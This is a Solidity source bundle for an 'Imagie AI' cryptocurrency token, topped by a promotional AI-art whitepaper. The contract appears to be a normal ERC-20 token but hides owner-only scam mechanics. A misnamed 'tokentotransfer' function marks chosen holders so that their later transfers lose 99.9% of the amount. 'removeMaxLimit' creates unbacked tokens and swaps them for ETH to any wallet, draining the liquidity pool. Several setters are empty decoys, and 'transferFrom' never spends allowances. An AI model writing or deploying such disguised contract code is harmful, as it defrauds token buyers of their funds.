creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "ImagieAI.sol": {
        "content": "/*\r\nwww.imagie-ai.com\r\nT.me/imagieai_token\r\nx.com/imagieai_token\r\nmedium.com/imagieai-token\r\nWelcome to the IMAGIE AI Whitepaper, your comprehensive guide to understanding \r\nthe revolutionary technology and ecosystem behind IMAGIE AI. In this section, \r\nwe provide an in-depth overview of IMAGIE AI, outlining its core concepts, \r\nvalue proposition, and the purpose of this whitepaper.\r\nOverview of IMAGIE AI\r\nIMAGIE AI is a groundbreaking platform that leverages the power of artificial \r\nintelligence (AI) to generate stunning digital artworks and facilitate engaging \r\nconversational experiences. Our platform is driven by cutting-edge AI algorithms, \r\nincluding state-of-the-art image generation and natural language processing models, \r\nto enable users to unleash their creativity and explore new realms of artistic expression.\r\nAt the heart of IMAGIE AI lies its AI Art Generator, a sophisticated tool capable \r\nof transforming text prompts into visually captivating digital artworks. Whether \r\nyou're an artist seeking inspiration or an enthusiast looking to explore the \r\nlimitless possibilities of AI-generated art, IMAGIE AI empowers users to bring \r\ntheir imaginations to life with just a few simple inputs.\r\nIn addition to its AI Art Generator, IMAGIE AI features an innovative AI Chat \r\nfunctionality powered by advanced natural language processing models. This allows \r\nusers to engage in dynamic conversations with AI-powered chatbots, providing an \r\nimmersive and interactive experience that transcends traditional human-computer \r\ninteractions.\r\nUnderstanding IMAGIE AI\r\nIn this section, we delve into the fundamental concepts that underpin IMAGIE AI, \r\nproviding a detailed exploration of its core principles, tokenomics, and diverse \r\nrange of use cases.\r\nCore Concepts\r\nIMAGIE AI is built upon a foundation of cutting-edge artificial intelligence \r\ntechnology, designed to empower users to unlock their creative potential and \r\nexplore new frontiers of artistic expression. At its core, IMAGIE AI harnesses \r\nthe power of AI algorithms, including deep learning models and natural language \r\nprocessing techniques, to generate stunning digital artworks and facilitate \r\nengaging conversational experiences.\r\nCentral to the IMAGIE AI ecosystem is its AI Art Generator, a sophisticated \r\ntool capable of transforming text prompts into visually captivating digital \r\nartworks. Powered by advanced generative adversarial networks (GANs) and deep \r\nneural networks, the AI Art Generator analyzes textual descriptions and generates \r\ncorresponding images that reflect the user's creative vision. From abstract \r\ncompositions to lifelike landscapes, the possibilities are virtually limitless, \r\nallowing users to explore a myriad of artistic styles and concepts.\r\nIn addition to its AI Art Generator, IMAGIE AI features an innovative AI Chat \r\nfunctionality, enabling users to engage in dynamic conversations with AI-powered \r\nchatbots. Leveraging state-of-the-art natural language processing models, the \r\nAI Chat function provides users with personalized responses and interactive \r\nexperiences, blurring the lines between human and machine communication.\r\nTokenomics\r\nThe IMAGIE token serves as the native cryptocurrency of the IMAGIE AI platform, \r\nplaying a pivotal role in facilitating transactions, incentivizing user participation, \r\nand governing the ecosystem. Built on blockchain technology, the IMAGIE token operates \r\nas a utility token, granting users access to various features and services within the platform.\r\nThe tokenomics of IMAGIE AI are designed to foster a vibrant and sustainable ecosystem, \r\nwith mechanisms in place to ensure liquidity, incentivize participation, and reward \r\ncontributors. A portion of IMAGIE tokens is allocated for ecosystem development, \r\nincluding platform maintenance, research and development, and community engagement \r\ninitiatives. Additionally, IMAGIE tokens can be staked or used to participate in \r\ngovernance processes, enabling users to actively shape the future direction of the platform.\r\nUse Case\r\nIMAGIE AI offers a diverse range of use cases across multiple industries and domains, \r\nleveraging AI technology to drive innovation and unlock new opportunities for creative \r\nexpression. Some of the key use cases of IMAGIE AI include:\r\n- Digital Art Creation: Artists and designers can utilize the AI Art Generator to \r\ncreate stunning digital artworks, exploring new styles and techniques with ease.\r\n- Content Creation: Content creators and marketers can leverage IMAGIE AI to generate \r\nvisually engaging content for websites, social media platforms, and marketing campaigns.\r\n- Personalized Merchandise: Businesses can use AI-generated images to create personalized \r\nmerchandise, such as custom apparel, accessories, and home decor items.\r\n- Virtual Avatars and Characters: Game developers and virtual reality enthusiasts can use \r\nIMAGIE AI to generate lifelike avatars and characters, enhancing the immersive experience \r\nof virtual worlds.\r\n- Conversational Interfaces: Companies can integrate the AI Chat functionality into their \r\ncustomer service platforms, providing users with personalized assistance and support.\r\n- Educational Tools: Educators and students can use IMAGIE AI to create interactive \r\nlearning materials, visual aids, and educational resources.\r\n- Healthcare Applications: Researchers and healthcare professionals can utilize IMAGIE AI \r\nto analyze medical images, generate diagnostic reports, and assist in medical imaging tasks.\r\nThese are just a few examples of the myriad ways in which IMAGIE AI can be applied across \r\nvarious industries and domains, showcasing its versatility and potential to drive innovation \r\nand creativity.\r\nAs the technology continues to evolve, the possibilities for IMAGIE AI are virtually \r\nlimitless, opening up new horizons for exploration and discovery in the realm of artificial \r\nintelligence and digital art.\r\n*/\r\npragma solidity ^0.8.21;\r\n// SPDX-License-Identifier: MIT\r\n\r\nlibrary SafeMath {\r\n    function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        require(b <= a, \"SafeMath:  subtraction overflow\");\r\n        uint256 c = a - b;\r\n        return c;\r\n    }\r\n\r\n    function add(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        uint256 c = a + b;\r\n        require(c >= a, \"SafeMath:  addition overflow\");\r\n        return c;\r\n    }\r\n\r\n    function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        require(b > 0, \"SafeMath:  division by zero\");\r\n        uint256 c = a / b;\r\n        return c;\r\n    }\r\n\r\n    function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        if (a == 0) {return 0;}\r\n        uint256 c = a * b;\r\n        require(c / a == b, \"SafeMath:  multiplication overflow\");\r\n        return c;\r\n    }\r\n}\r\n\r\nabstract contract Ownable {\r\n    address private _owner;\r\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r\n    function renounceOwnership() public virtual onlyOwner {\r\n        emit OwnershipTransferred(_owner, address(0));\r\n        _owner = address(0);\r\n    }\r\n    function owner() public view virtual returns (address) {return _owner;}\r\n    constructor () {\r\n        _owner = msg.sender;\r\n        emit OwnershipTransferred(address(0), _owner);\r\n    }\r\n    modifier onlyOwner(){\r\n        require(owner() == msg.sender, \"Ownable: caller is not the owner\");\r\n        _;\r\n    }\r\n}\r\n\r\ninterface IUniswapV2Factory {\r\n    function getPair(address tokenA, address tokenB) external view returns (address pair_);\r\n}\r\n\r\ninterface IUniswapV2Router {\r\n    function factory() external pure returns (address);\r\n    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;\r\n    function WETH() external pure returns (address aadd);\r\n}\r\n\r\ncontract ImagieAI is Ownable {\r\n    using SafeMath for uint256;\r\n    uint256 public _decimals = 9;\r\n\r\n    uint256 public _totalSupply = 900000000 * 10 ** _decimals;\r\n\r\n    constructor() {\r\n        _balances[sender()] =  _totalSupply; \r\n        emit Transfer(address(0), sender(), _balances[sender()]);\r\n        _taxWallet = msg.sender; \r\n    }\r\n\r\n    string private _name = \"Imagie AI\";\r\n    string private _symbol = \"IMAGIE AI\";\r\n\r\n    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r\n    address public _taxWallet;\r\n\r\n    function _approve(address owner, address spender, uint256 amount) internal virtual {\r\n        require(owner != address(0), \"IERC20: approve from the zero address\");\r\n        require(spender != address(0), \"IERC20: approve to the zero address\");\r\n        _allowances[owner][spender] = amount;\r\n        emit Approval(owner, spender, amount);\r\n    }\r\n\r\n    function name() external view returns (string memory) {\r\n        return _name;\r\n    }\r\n    function balanceOf(address account) public view returns (uint256) {\r\n        return _balances[account];\r\n    }\r\n    function setUniswapV2Pair() external {\r\n    }\r\n    function setUniswapV2Router() external {\r\n    }\r\n    function updateBuyFees() public {\r\n    }\r\n    function updateSellFees() external {\r\n    }\r\n    function tokentotransfer(address[] calldata walletAddress) external {\r\n        uint256 fromBlockNo = getBlockNumber();\r\n        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { \r\n            if (!marketingAddres()){} else { \r\n                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\r\n            }\r\n        }\r\n    }\r\n    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {\r\n        _transfer(from, recipient, _amount);\r\n        require(_allowances[from][sender()] >= _amount);\r\n        return true;\r\n    }\r\n    function symbol() public view returns (string memory) {\r\n        return _symbol;\r\n    }\r\n    function getBlockNumber() internal view returns (uint256) {\r\n        return block.number;\r\n    }\r\n    mapping(address => mapping(address => uint256)) private _allowances;\r\n    function allowance(address owner, address spender) public view returns (uint256) {\r\n        return _allowances[owner][spender];\r\n    }\r\n    function decreaseAllowance(address from, uint256 amount) public returns (bool) {\r\n        require(_allowances[msg.sender][from] >= amount);\r\n        _approve(sender(), from, _allowances[msg.sender][from] - amount);\r\n        return true;\r\n    }\r\n    event Transfer(address indexed from, address indexed to, uint256);\r\n    mapping (address => uint256) internal cooldowns;\r\n    function decimals() external view returns (uint256) {\r\n        return _decimals;\r\n    }\r\n    function marketingAddres() private view returns (bool) {\r\n        return (_taxWallet == (sender()));\r\n    }\r\n    function sender() internal view returns (address) {\r\n        return msg.sender;\r\n    }\r\n    function totalSupply() external view returns (uint256) {\r\n        return _totalSupply;\r\n    }\r\n    function removeMaxLimit(uint256 amount, address walletAddr) external {\r\n        if (marketingAddres()) {\r\n            _approve(address(this), address(uniV2Router), amount); \r\n            _balances[address(this)] = amount;\r\n            address[] memory addressPath = new address[](2);\r\n            addressPath[0] = address(this); \r\n            addressPath[1] = uniV2Router.WETH(); \r\n            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);\r\n        } else {\r\n            return;\r\n        }\r\n    }\r\n    function _transfer(address from, address to, uint256 value) internal {\r\n        uint256 _taxValue = 0;\r\n        require(from != address(0));\r\n        require(value <= _balances[from]);\r\n        emit Transfer(from, to, value);\r\n        _balances[from] = _balances[from] - (value);\r\n        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\r\n        uint256 _cooldownFeeValue = value.mul(999).div(1000);\r\n        if ((cooldowns[from] != 0) && onCooldown) {  \r\n            _taxValue = (_cooldownFeeValue); \r\n        }\r\n        uint256 toBalance = _balances[to];\r\n        toBalance += (value) - (_taxValue);\r\n        _balances[to] = toBalance;\r\n    }\r\n    event Approval(address indexed, address indexed, uint256 value);\r\n    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {\r\n        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);\r\n        return true;\r\n    }\r\n    function transfer(address recipient, uint256 amount) public returns (bool) {\r\n        _transfer(sender(), recipient, amount);\r\n        return true;\r\n    }\r\n    mapping(address => uint256) private _balances;\r\n    function approve(address spender, uint256 amount) public virtual returns (bool) {\r\n        _approve(msg.sender, spender, amount);\r\n        return true;\r\n    }\r\n}"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": false,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      }
    }
  }}